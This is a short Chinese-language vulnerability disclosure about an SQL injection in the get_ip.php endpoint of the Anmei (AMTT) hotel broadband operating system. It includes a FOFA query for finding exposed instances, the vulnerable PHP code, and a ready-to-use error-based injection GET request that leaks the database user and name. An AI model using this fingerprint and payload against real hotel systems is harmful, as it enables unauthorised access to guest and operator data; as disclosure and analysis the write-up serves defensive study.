漏洞简介
安美数字酒店宽带运营系统的 get_ip.php 接口处存在SQL注入漏洞,未经身份验证的恶意攻击者利用SQL注入漏洞获取数据库中的信息之外,甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。
影响版本
fofa语法
body="http://www.amttgroup.com/" && body="form.ManagerID.focus()"
漏洞分析
user/get_ip.php 业务逻辑如下
if (trim($gwip) == "" || trim($realip) == "") {
echo "<script language=\"javascript\">\n";
echo "alert(\"{$lang['prompt_invalid_req_opt']}\");\n";
echo "</script>\n";
exit;
}
$user_switch_stat = 2;
$vlanid = trim($vlanid);
if ($vlanid != "") {
$db = new newDB();
$sqlcmd = "select SwitchIP, SwitchPort ";
$sqlcmd .= "from T_Account where BindVlan='$vlanid' or AccountID='$vlanid'";
if (($result = $db->query($sqlcmd)) == FALSE) {
$user_switch_stat = 0;
}
只需要 $gwip 和 $realip 不为空即可满足条件
$vlanid 没有任何过滤校验操作,直接拼接进SQL语句中执行,造成SQL注入漏洞。
漏洞复现
GET /user/get_ip.php?vlanid=1'+and+extractvalue(1,concat(0x7e,user(),0x7e,database()))--+-&gwip=0&realip=0 HTTP/1.1
Host: amttgroup.mrxn.net

通过报错注入成功在响应回显数据库用户和数据库名。

